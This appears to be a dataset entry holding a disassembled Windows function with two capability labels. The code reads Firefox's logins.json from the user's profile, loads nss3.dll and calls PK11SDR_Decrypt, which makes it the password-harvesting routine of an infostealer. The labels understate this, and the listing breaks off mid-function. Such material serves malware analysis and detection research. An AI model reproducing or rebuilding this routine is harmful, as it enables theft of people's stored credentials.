Function at 0x140032070
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [0x1401eb9a0]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
xor r12d, r12d
mov dword [rsp + 0x40], r12d
lea rcx, str.appdata
call fcn.140169888
mov qword [rbp + 0x400], r12
mov qword [rbp + 0x410], r12
mov qword [rbp + 0x418], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x400], r12b
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400320e3
mov rdx, rax
lea rcx, [rbp + 0x400]
call fcn.140002450
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x410]
sub rax, rcx
cmp rax, 0x1a
jb 0x1400335d4
lea r9, [rbp + 0x400]
cmp qword [rbp + 0x418], 0x10
cmovae r9, qword [rbp + 0x400]
mov qword [rsp + 0x30], 0x1a
lea rax, str.MozillaFirefoxProfiles_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x400]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x420]
call fcn.140021700
nop
mov qword [rbp + 0x350], r12
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x350], 0
mov rdi, qword [rbp + 0x430]
lea rbx, [rbp + 0x420]
cmp qword [rbp + 0x438], 0x10
cmovae rbx, qword [rbp + 0x420]
call fcn.14014c0c4
mov qword [rbp + 0x3a0], rbx
mov qword [rbp + 0x3a8], rdi
lea r8, [rbp + 0x3a0]
mov edx, eax
lea rcx, [rsp + 0x78]
call fcn.140004710
mov r13d, 0x1c
mov dword [rsp + 0x40], r13d
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x320], xmm0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x320]
call fcn.1400339b0
test eax, eax
jne 0x1400335da
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x140032238
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032233
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400335ee
call fcn.14014fd6c
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov rsi, qword [rbp + 0x328]
test rsi, rsi
je 0x14003225e
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x328]
mov r13d, dword [rsp + 0x40]
movaps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0x3f0], xmm0
test rsi, rsi
je 0x140032282
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x328]
mov r13d, dword [rsp + 0x40]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x470], xmm1
test rsi, rsi
je 0x1400322dd
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x1400322d1
mov rbx, qword [rbp + 0x328]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400322d1
mov rsi, qword [rbp + 0x328]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x1400322d8
mov rsi, qword [rbp + 0x328]
mov r13d, dword [rsp + 0x40]
lea rbx, [0x1401bdf80]
mov r14, qword [rbp + 0x3f0]
test r14, r14
je 0x1400326ec
lea rdx, [rbp + 0x28]
mov rcx, r14
call fcn.140031850
mov rax, qword [rbp + 0x28]
mov edx, dword [rbp + 0x30]
test edx, edx
je 0x14003231a
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x1400335f4
cmp eax, 2
jne 0x140032421
call fcn.14014c0c4
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], ntohs
lea r8, [rbp + 0x40]
mov edx, eax
lea rcx, [rbp + 8]
call fcn.140004710
or r13d, 0x60
or r13d, 1
mov dword [rsp + 0x40], r13d
lea rcx, [r14 + 0x20]
mov rax, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 8
jb 0x140032362
mov rcx, qword [rcx]
lea rbx, [rcx + rax*2]
mov r11, rbx
mov rdx, rbx
call fcn.140004870
cmp rax, rbx
je 0x1400323ab
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x140032385
cmp cx, 0x2f
jne 0x140032390
add rax, 2
jmp 0x140032371
lea rdx, [r11 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1400323ab
cmp cx, 0x2f
je 0x1400323ab
mov r11, rdx
cmp rax, rdx
jne 0x140032390
sub rbx, r11
sar rbx, 1
mov qword [rbp - 0x18], r12
mov qword [rbp - 8], r12
mov qword [rbp], 7
mov r8, rbx
mov rdx, r11
lea rcx, [rbp - 0x18]
call fcn.14001be90
or r13d, 0x382
mov dword [rsp + 0x40], r13d
lea rax, [rbp + 8]
mov rbx, qword [rbp + 8]
mov rdi, qword [rbp + 0x20]
cmp rdi, 8
cmovae rax, rbx
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x58], rax
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x18]
call fcn.140031640
test eax, eax
jne 0x140032429
mov r15b, 1
jmp 0x14003242c
mov rdi, qword [rbp + 0x20]
mov rbx, qword [rbp + 8]
xor r15b, r15b
test r13b, 2
je 0x140032494
and r13d, 0xfffffffd
mov dword [rsp + 0x40], r13d
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x140032483
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032476
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033605
call fcn.14014fd6c
mov rdi, qword [rbp + 0x20]
mov rbx, qword [rbp + 8]
mov qword [rbp - 8], r12
mov qword [rbp], 7
mov word [rbp - 0x18], r12w
test r13b, 1
je 0x1400324de
and r13d, 0xfffffffe
mov dword [rsp + 0x40], r13d
cmp rdi, 8
jb 0x1400324de
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400324d6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003360b
mov rcx, rbx
call fcn.14014fd6c
test r15b, r15b
je 0x1400326d3
lea rdx, [rbp + 0xd0]
lea rcx, [r14 + 0x20]
call fcn.140004c60
mov rbx, rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x210]
call fcn.140152690
mov rdx, rbx
lea rcx, [rbp + 0x210]
call fcn.140018c60
mov rax, qword [rbp + 0x210]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx + 0x220]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x210], rax
mov rax, qword [rbp + 0x210]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x20c], edx
lea rcx, [rbp + 0x220]
call fcn.140018bb0
mov rax, qword [rbp + 0x210]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x210], rax
mov rax, qword [rbp + 0x210]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x20c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x2c0], rax
lea rcx, [rbp + 0x2c0]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400325ed
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400325e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033611
call fcn.14014fd6c
test ebx, ebx
jne 0x1400326d3
lea rdx, [rbp + 0xf0]
lea rcx, [r14 + 0x20]
call fcn.140004c60
mov rbx, rax
lea rax, [rbp + 0x350]
cmp rax, rbx
je 0x140032692
mov rdx, qword [rbp + 0x368]
cmp rdx, 0x10
jb 0x140032655
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032650
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033617
call fcn.14014fd6c
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x350], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x350], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x360], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x1400326d3
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400326ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033617
call fcn.14014fd6c
lea rcx, [rbp + 0x3f0]
call fcn.1400319c0
test eax, eax
jne 0x1400335c5
jmp 0x1400322dd
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14003273e
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140032732
mov rbx, qword [rbp + 0x3f8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140032732
mov rcx, qword [rbp + 0x3f8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r13d, dword [rsp + 0x40]
mov rsi, qword [rbp + 0x328]
test rsi, rsi
je 0x140032782
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x14003277d
mov rbx, qword [rbp + 0x328]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14003277d
mov rcx, qword [rbp + 0x328]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r13d, dword [rsp + 0x40]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x480]
call fcn.140152690
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x480]
call fcn.140018c60
nop
mov qword [rbp + 0x330], r12
mov qword [rbp + 0x340], r12
mov qword [rbp + 0x348], r12
mov rdi, qword [rbp + 0x360]
lea rsi, [rbp + 0x350]
cmp qword [rbp + 0x368], 0x10
cmovae rsi, qword [rbp + 0x350]
cmp rdi, 0x10
jae 0x1400327fd
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x348], reloc.WS2_32.dll_ntohs
jmp 0x14003287d
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140032851
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14003361d
mov rcx, rax
call fcn.14014fd30
mov rcx, rax
test rax, rax
je 0x1400337f6
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140032860
test rcx, rcx
je 0x14003285d
call fcn.14014fd30
jmp 0x140032860
mov rax, r12
mov qword [rbp + 0x330], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.140151fe0
mov qword [rbp + 0x348], rbx
mov qword [rbp + 0x340], rdi
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x460], r12
mov qword [rbp + 0x468], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x450], 0
mov r8d, ntohs
lea rdx, str.logins.json
lea rcx, [rbp + 0x450]
call fcn.140002450
nop
lea rsi, [rbp + 0x330]
mov r15, qword [rbp + 0x330]
mov r12, qword [rbp + 0x348]
cmp r12, 0x10
cmovae rsi, r15
mov rdi, qword [rbp + 0x340]
cmp rdi, 0xc
jb 0x14003299b
lea r14, [rsi + rdi]
lea r8, [r14 - 0xb]
sub r8, rsi
mov edx, 0x5c
mov rcx, rsi
call fcn.140153000
mov rbx, rax
test rax, rax
je 0x14003299b
mov r8d, ntohs
lea rdx, str.logins.json
mov rcx, rbx
call fcn.140152f20
test eax, eax
je 0x14003294a
inc rbx
lea r8, [r14 - 0xb]
sub r8, rbx
mov edx, 0x5c
mov rcx, rbx
call fcn.140153000
mov rbx, rax
test rax, rax
jne 0x140032910
jmp 0x14003299b
sub rbx, rsi
cmp rbx, 0xffffffffffffffff
je 0x14003299b
cmp rdi, rbx
jb 0x140033623
mov rax, rdi
sub rax, rbx
mov rdx, qword [rbp + 0x460]
cmp rax, rdx
cmovb rdx, rax
lea rcx, [rbp + 0x330]
cmp r12, 0x10
cmovae rcx, r15
add rcx, rbx
sub rdi, rdx
mov qword [rbp + 0x340], rdi
sub rdi, rbx
lea r8, [rdi + 1]
add rdx, rcx
call fcn.140151fe0
xor esi, esi
mov qword [rbp + 0x190], rsi
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x440]
call fcn.14001d7b0
nop
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x380], rsi
mov qword [rbp + 0x388], reloc.WS2_32.dll_ntohs
lea r8d, [rsi + 0x20]
lea rdx, str.C:Program_FilesMozilla_Firefox
lea rcx, [rbp + 0x370]
call fcn.140002450
movsd xmm0, qword [str.nss3.dll]
movsd qword [rbp + 0x590], xmm0
movzx eax, byte [0x1401bdeb8]
mov byte [rbp + 0x598], al
lea rcx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0x10
cmovae rcx, qword [rbp + 0x370]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov rdx, qword [rbp + 0x388]
cmp rdx, 0x10
jb 0x140032a7a
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032a75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033629
call fcn.14014fd6c
mov qword [rbp + 0x380], rsi
mov qword [rbp + 0x388], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x370], 0
lea rdx, str.NSS_Init
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401f4ba0], rax
lea rdx, str.PL_Base64Decode
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401f4bb8], rax
lea rdx, str.PK11SDR_Decrypt
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401f4bb0], rax
lea rdx, str.PK11_Authenticate
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401f4b98], rax
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401f4b90], rax
lea rdx, str.PK11_FreeSlot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401f4ba8], rax
lea rdx, str.NSS_Shutdown
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rax, qword [0x1401f4ba0]
lea rcx, [rbp + 0x330]
cmp qword [rbp + 0x348], 0x10
cmovae rcx, qword [rbp + 0x330]
call rax
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov r8d, 6
lea rdx, str.logins
lea rcx, [rsp + 0x78]
call fcn.140002450
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x440]
call fcn.140020d60
mov r8, rax
mov qword [rbp + 0x590], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3c0], xmm1
movabs r14, 0x8000000000000000
mov rdi, r14
movzx edx, byte [rax]
lea r9, [0x140000000]
cmp edx, 9
ja case.0x140032be2.3
movsxd rax, edx
mov ecx, dword [r9 + rax*4 + 0x33808]
add rcx, r9
jmp rcx
cmp edx, 9
ja case.0x140032be2.3
mov ecx, dword [r9 + rdx*4 + 0x33830]
add rcx, r9
jmp rcx
mov rax, qword [r8 + 8]
mov rbx, qword [rax]
mov rbx, qword [rbx]
jmp 0x140032c11
mov rsi, qword [r8 + 8]
mov rsi, qword [rsi]
mov rbx, qword [rbp + 0x3b8]
jmp 0x140032c18
mov edi, 1
jmp 0x140032c0a
mov rdi, rsi
mov rbx, qword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3c0]
movdqu xmmword [rbp + 0x3d8], xmm0
movdqu xmmword [rbp + 0x3e0], xmm1
movzx edx, byte [r8]
cmp edx, 9
ja case.0x140032c51.0
movsxd rax, edx
mov ecx, dword [r9 + rax*4 + 0x33858]
add rcx, r9
jmp rcx
cmp edx, 9
ja case.0x140032c51.0
mov ecx, dword [r9 + rdx*4 + 0x33880]
add rcx, r9
jmp rcx
mov r15, qword [r8 + 8]
mov r15, qword [r15]
jmp 0x140032c7b
mov r12, qword [r8 + 8]
mov r12, qword [r12 + 8]
mov r15, qword [rbp + 0x3d8]
jmp 0x140032c82
mov r14d, 1
mov r15, qword [rbp + 0x3d8]
mov r12, qword [rbp + 0x3e0]
movzx edx, byte [r8]
cmp edx, 9
ja case.0x140032c99.0
movsxd rax, edx
mov ecx, dword [r9 + rax*4 + 0x338a8]
add rcx, r9
jmp rcx
cmp rbx, r15
jmp 0x140032ca8
cmp rsi, r12
jmp 0x140032ca8
cmp rdi, r14
setne al
test al, al
je 0x140033365
cmp edx, 9
ja case.0x140032cc3.3
mov ecx, dword [r9 + rdx*4 + 0x338d0]
add rcx, r9
jmp rcx
lea rdx, [rbx + 0x40]
jmp 0x140032cdc
mov rdx, rsi
jmp 0x140032cdc
test rdi, rdi
jne 0x1400337b6
mov rdx, r8
lea rcx, [rbp + 0x3a0]
call fcn.140020f50
nop
lea rax, [rbp - 0x38]
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 8]
lea rdx, str.hostname
lea rcx, [rsp + 0x78]
call fcn.140002450
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x3a0]
call fcn.140020d60
nop
xor ecx, ecx
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
bts r13d, 0xd
mov dword [rsp + 0x40], r13d
cmp byte [rax], 3
jne 0x140033769
mov rdx, qword [rax + 8]
lea rax, [rbp - 0x38]
cmp rax, rdx
je 0x140032d75
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140032d6c
mov rdx, qword [rdx]
lea rcx, [rbp - 0x38]
call fcn.140002450
btr r13d, 0xd
or r13d, 0x1800
lea rcx, [rbp - 0x38]
call fcn.140031d60
mov rcx, rax
call fcn.140031f50
xor ecx, ecx
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3d0], cl
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], cl
jne 0x140032dc0
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call fcn.140002450
nop
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 0x11]
lea rdx, str.encryptedUsername
lea rcx, [rsp + 0x58]
call fcn.140002450
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x3a0]
call fcn.140020d60
nop
xor ecx, ecx
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x78], rcx
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
bts r13d, 0x10
mov dword [rsp + 0x40], r13d
cmp byte [rax], 3
jne 0x14003371c
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x78]
cmp rax, rdx
je 0x140032e6b
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140032e61
mov rdx, qword [rdx]
lea rcx, [rsp + 0x78]
call fcn.140002450
btr r13d, 0x10
or r13d, 0xc000
lea rcx, [rsp + 0x78]
call fcn.140031d60
mov rcx, rax
call fcn.140031f50
xor ecx, ecx
mov qword [rbp + 0x370], rcx
mov qword [rbp + 0x380], rcx
mov qword [rbp + 0x388], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x370], cl
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], cl
jne 0x140032eb1
mov rdx, rax
lea rcx, [rbp + 0x370]
call fcn.140002450
nop
lea rax, [rbp - 0x38]
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 0x11]
lea rdx, str.encryptedPassword
lea rcx, [rsp + 0x58]
call fcn.140002450
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x3a0]
call fcn.140020d60
nop
xor ecx, ecx
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
bts r13d, 0x13
mov dword [rsp + 0x40], r13d
cmp byte [rax], 3
jne 0x1400336cf
mov rdx, qword [rax + 8]
lea rax, [rbp - 0x38]
cmp rax, rdx
je 0x140032f58
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140032f4f
mov rdx, qword [rdx]
lea rcx, [rbp - 0x38]
call fcn.140002450
btr r13d, 0x13
or r13d, 0x60000
lea rcx, [rbp - 0x38]
call fcn.140031d60
mov rcx, rax
call fcn.140031f50
xor ecx, ecx
mov qword [rbp + 0x3b0], rcx
mov qword [rbp + 0x3c0], rcx
mov qword [rbp + 0x3c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3b0], cl
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], cl
jne 0x140032fa0
mov rdx, rax
lea rcx, [rbp + 0x3b0]
call fcn.140002450
nop
mov byte [rbp + 0x390], 0
xor edx, edx
lea rcx, [rbp + 0x398]
call fcn.14001bc40
nop
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
mov byte [rbp - 0x68], 0
xor eax, eax
mov qword [rbp - 0x60], rax
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x68]
call fcn.14002af30
nop
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 3]
lea rdx, [0x1401bb0e8]
lea rcx, [rsp + 0x58]
call fcn.140002450
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x390]
call fcn.140020d60
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp - 0x68]
mov byte [rax], cl
mov byte [rbp - 0x68], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp - 0x60]
mov qword [rax + 8], rdx
mov qword [rbp - 0x60], rcx
movzx edx, byte [rbp - 0x68]
lea rcx, [rbp - 0x60]
call fcn.14001b750
nop
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
mov byte [rbp - 0x58], 0
xor eax, eax
mov qword [rbp - 0x50], rax
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x58]
call fcn.14002af30
nop
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 8]
lea rdx, str.username
lea rcx, [rsp + 0x58]
call fcn.140002450
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x390]
call fcn.140020d60
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp - 0x58]
mov byte [rax], cl
mov byte [rbp - 0x58], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp - 0x50]
mov qword [rax + 8], rdx
mov qword [rbp - 0x50], rcx
movzx edx, byte [rbp - 0x58]
lea rcx, [rbp - 0x50]
call fcn.14001b750
nop
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], rax
mov byte [rbp - 0x48], 0
xor eax, eax
mov qword [rbp - 0x40], rax
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp - 0x48]
call fcn.14002af30
nop
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 8]
lea rdx, str.password
lea rcx, [rsp + 0x58]
call fcn.140002450
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x390]
call fcn.140020d60
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp - 0x48]
mov byte [rax], cl
mov byte [rbp - 0x48], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp - 0x40]
mov qword [rax + 8], rdx
mov qword [rbp - 0x40], rcx
movzx edx, byte [rbp - 0x48]
lea rcx, [rbp - 0x40]
call fcn.14001b750
nop
movzx eax, byte [0x1401f4c20]
test al, al
je 0x140033189
cmp al, 2
jne 0x140033669
mov rax, qword [0x1401f4c28]
jmp 0x1400331ac
mov byte [0x1401f4c20], 2
mov dl, 2
lea rcx, [rbp + 0x320]
call fcn.14001bc40
mov rax, qword [rbp + 0x320]
mov qword [0x1401f4c28], rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rax + 8]
cmp rcx, qword [rax + 0x10]
je 0x1400331d3
lea rdx, [rbp + 0x390]
call fcn.140020f50
mov rax, qword [rsp + 0x40]
add qword [rax + 8], 0x10
jmp 0x1400331e6
lea r8, [rbp + 0x390]
mov rdx, rcx
mov rcx, rax
call fcn.14001efc0
nop
movzx edx, byte [rbp + 0x390]
lea rcx, [rbp + 0x398]
call fcn.14001b750
nop
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0x10
jb 0x14003323c
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033236
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400336bd
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x388]
cmp rdx, 0x10
jb 0x14003327e
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033278
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400336c3
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 0x10
jb 0x1400332c0
inc rdx
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400332ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400336c9
call fcn.14014fd6c
nop
movzx edx, byte [rbp + 0x3a0]
lea rcx, [rbp + 0x3a8]
call fcn.14001b750
nop
mov r8, qword [rbp + 0x590]
movzx eax, byte [r8]
lea r9, [0x140000000]
cmp eax, 9
ja case.0x1400332f6.0
mov ecx, dword [r9 + rax*4 + 0x338f8]
add rcx, r9
jmp rcx
mov rax, rbx
mov rcx, qword [rbx + 0x10]
cmp byte [rcx + 0x19], 0
je 0x14003332f
mov rbx, qword [rbx + 8]
cmp byte [rbx + 0x19], 0
jne 0x140032c82
cmp rax, qword [rbx + 0x10]
jne 0x140032c82
mov rax, rbx
mov rbx, qword [rbx + 8]
cmp byte [rbx + 0x19], 0
je 0x140033313
jmp 0x140032c82
mov rbx, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
jne 0x140032c82
nop
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x140033340
jmp 0x140032c82
add rsi, 0x10
jmp 0x140032c82
inc rdi
jmp 0x140032c82
movzx edx, byte [rbp + 0x440]
lea rcx, [rbp + 0x448]
call fcn.14001b750
nop
mov rdx, qword [rbp + 0x468]
cmp rdx, 0x10
jb 0x1400333bb
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400333b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
